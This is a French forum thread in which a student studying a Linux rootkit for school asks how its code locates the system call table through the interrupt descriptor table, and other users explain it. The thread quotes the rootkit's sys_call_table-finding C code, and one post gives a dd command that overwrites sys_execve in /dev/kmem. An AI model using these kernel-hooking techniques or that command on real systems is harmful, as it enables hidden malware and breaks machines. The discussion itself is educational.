Contenu | Rechercher | Menus

Annonce

Si vous avez des soucis pour rester connecté, déconnectez-vous puis reconnectez-vous depuis ce lien en cochant la case
Me connecter automatiquement lors de mes prochaines visites.

À propos de l'équipe du forum.

#1 Le 21/10/2008, à 12:18

morphoneo69

Etude de rootkit.

Bon j'ai projet scolaire, qui est l'étude d'un rootkit.
Mais vu que c'est un peu compliqué (vu que je suis pas un grand connaisseur du kernel et tout ce qui l'entoure), j'ai besoin de votre aide.
Je vais commencer par une petite fonction dont je ne comprends pas ce qu'elle retourne. Si quelqu'un pouvait m'éclairer.

void *get_system_call(void)
{
unsigned char idtr[6];
unsigned long base;
struct idt_descriptor desc;

asm ("sidt %0" : "=m" (idtr));
base = *((unsigned long *) &idtr[2]);
memcpy(&desc, (void *) (base + (0x80*8)), sizeof(desc));

return((void *) ((desc.off_high << 16) + desc.off_low)); 

}

Hors ligne

#2 Le 21/10/2008, à 13:36

Seren

Re : Etude de rootkit.

Je savais pas non plus mais j'ai cherché sur Google 2 minutes par curiosité.

Résultat (non expert) de mes explorations :

sidt --> fonction assembleur qui permet de récupérer la table d'interruption sur un X86 ( interrupt descriptor table)
SIDT : Store interrupt descriptor table

http://en.wikipedia.org/wiki/Interrupt_descriptor_table

Ensuite, ça copie la valeur d'une interruption particulière  :en partant de la base on ajoute un offset de 0x80*8. On peut imaginer qu'un descripteur d'interruption à une taille de 8, il faudrait voir la structure idt_descriptor, ce qui signifie qu'on observe l'interruption numéro 128 (=0x80).

Au final, on retourne une champ sur 32 bits qui correspond probablement à l'adresse de 'l'interrupt handler' , la fonction appelée lorsque cette interruption est déclenchée. (Pour être sûr il faudrait savoir à quoi correspondent les champs off_high et off_low, c'est potentiellement un masque indiquant qui à le droit d'appeler cette interrupt.) Je penche plutôt pour off --> offset donc "adresse" en mémoire d'une fonction.

Enfin tout ça pour dire qu'en utilisant un peu Google on trouve des trucs...

EDIT to add :
Apparament l'interrupt 0x80 gère les appels systèmes (enfin vu le nom de la fonction on s'en serait douter smile ). La fonction retourne donc l'adresse de la fonction qui est le point d'entrée du noyau depuis l'userspace.

Under Linux the execution of a system call is invoked by a maskable interrupt or exception class transfer, caused by the instruction int 0x80. We use vector 0x80 to transfer control to the kernel. This interrupt vector is initialized during system startup, along with other important vectors like the system clock vector.

Dernière modification par Seren (Le 21/10/2008, à 13:56)


"I am not young enough to know everything". Oscar Wilde

Hors ligne

#3 Le 21/10/2008, à 17:09

Link31

Re : Etude de rootkit.

La même chose en shell, qui permet en plus de récupérer directement l'adresse d'un appel système à partir de son nom :

SYSCALL="execve"
grep " sys_${SYSCALL}$" /proc/kallsyms | cut -d' ' -f1

(et c'est beaucoup plus clair et concis que le code C du premier post)

À partir de là, il suffit d'écrire un ret (0xC3), ou ce que vous voulez, avec la commande dd directement dans /dev/kmem, à cette adresse. La commande bien connue permettant de faire ça est la suivante :

echo -e '\xc3' | dd of=/dev/kmem bs=1 count=1 seek=$((0x`awk '/sys_execve/ { print $1; }' /proc/kallsyms`))

Quelque peu inutile en soi pour un rootkit... mais assez fun à essayer sur un liveCD ou une VM tongue

Heureusement, il me semble que les tous derniers noyaux disposent d'une option pour limiter les droits sur /dev/kmem, même à l'utilisateur root.

Dernière modification par Link31 (Le 21/10/2008, à 17:10)

Hors ligne

#4 Le 21/10/2008, à 17:39

morphoneo69

Re : Etude de rootkit.

Oui c'est plus simple effectivement en plus c'est utilisé dans le rootkit pour avoir l'adresse de sysenter_entry. Mais ensuite il récupère la table des appels systemes avec ce mécanisme :

/* averiguar sys_call_table */
s_call = get_system_call();
sys_call_table = get_sys_call_table(s_call);
void *get_system_call(void)
{
unsigned char idtr[6];
unsigned long base;
struct idt_descriptor desc;
//Enregistre le sidt a l'adresse de idtr =m = indique une sortie de type mémoire (ce n'est pas un registre
asm ("sidt %0" : "=m" (idtr));
//idt est la table de description des interruption

base = *((unsigned long *) &idtr[2]);
memcpy(&desc, (void *) (base + (0x80*8)), sizeof(desc));

return((void *) ((desc.off_high << 16) + desc.off_low)); 

} /*********** fin get_sys_call_table() ***********/



void *get_sys_call_table(void *system_call)
{
unsigned char *p;
unsigned long s_c_t;

p = (unsigned char *) system_call;

while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85)))
	p++;

dire_call = (unsigned long) p;

p += 3;
s_c_t = *((unsigned long *) p);

p += 4;
after_call = (unsigned long) p;

/* cli */
while (*p != 0xfa)
	p++;

dire_exit = (unsigned long) p;

return((void *) s_c_t);

} /********** fin get_sys_call_table() *************/

J'ai pas trop compris tout le mécanisme et pourquoi aussi il utilise pas le fichier kallsyms

Edit : Je vais poser une question explicite big_smile, pourquoi idtr[2], pourquoi pas 4 ?

Dernière modification par morphoneo69 (Le 21/10/2008, à 17:48)

Hors ligne

#5 Le 21/10/2008, à 19:48

Link31

Re : Etude de rootkit.

morphoneo69 a écrit :

J'ai pas trop compris tout le mécanisme et pourquoi aussi il utilise pas le fichier kallsyms

Parce que ce fichier peut être désactivé lors de la configuration du noyau.

morphoneo69 a écrit :

Edit : Je vais poser une question explicite big_smile, pourquoi idtr[2], pourquoi pas 4 ?

Parce que les deux premiers octets servent à déterminer la taille de la table des descripteurs d'interruption, tandis que les 4 octets restants indiquent l'adresse mémoire de la table.

Dernière modification par Link31 (Le 21/10/2008, à 19:50)

Hors ligne

#6 Le 21/10/2008, à 19:56

morphoneo69

Re : Etude de rootkit.

Merci link31 wink sinon t'aurais pas un lien avec une bonne doc sur idt et les sys call ?

Hors ligne

#7 Le 21/10/2008, à 20:15

Link31

Re : Etude de rootkit.

Le meilleur lien en français, à mon avis, ça serait http://sos.enix.org/. Mais prépare-toi à y passer du temps.

Ensuite, tu as évidemment la documentation officielle d'Intel. Ainsi qu'une multitude de pages référençant les instructions Intel 80386 les plus communes et leurs effets, pour ça => Google smile

Dernière modification par Link31 (Le 21/10/2008, à 20:15)

Hors ligne

#8 Le 22/10/2008, à 10:56

morphoneo69

Re : Etude de rootkit.

Link31 a écrit :

Le meilleur lien en français, à mon avis, ça serait http://sos.enix.org/. Mais prépare-toi à y passer du temps.

Merci super lien, j'ai compris plein de trucs en lisant l'article sur les interruptions.
Bon je reviens à mon code, encore besoin de quelques explications/pistes.

struct idt_descriptor
	{
	unsigned short off_low;
	unsigned short sel;
	unsigned char none, flags;
	unsigned short off_high;
	};
base = *((unsigned long *) &idtr[2]);
memcpy(&desc, (void *) (base + (0x80*8)), sizeof(desc));

Alors base contient le début de la table des interruptions.
Et ensuite le memcopy, je comprends pas trop la subtilité du : base + 0x80*8. Le 0x80*8 c'est pour remplir la structure où ça une signification réelle.

Hors ligne

#9 Le 22/10/2008, à 11:51

Seren

Re : Etude de rootkit.

C'est ce que j'explique dans mon message  #2.

Tu as une table de descripteur qui font chacun une taille de 8 octets.

struct idt_descriptor
    {
    unsigned short off_low;  --> taille 2
    unsigned short sel;   --> taille 2
    unsigned char none, flags; --> taille 1 + taille 1
    unsigned short off_high; --> taille 2
    };

// total taille = 8

Si tu copies un sizeof(desc)(=8) éléments depuis l'adresse "base", tu copies le descripteur de l'interrupt numéro 0x0.

Ici tu veux le descripteur de l'interrupt 0x80 (pour les appels systèmes).
Donc tu pars de l'adresse "base", qui est le début de la table, et tu te décales de 0x80 fois 8 octets pour avoir l'adresse de base du descripteur 0x80.

Le mieux c'est de lire le man du memcpy si t'as un doute sur ce que ça fait ou l'ordre des paramètres.
http://www.manpagez.com/man/3/memcpy/

Dernière modification par Seren (Le 22/10/2008, à 12:02)


"I am not young enough to know everything". Oscar Wilde

Hors ligne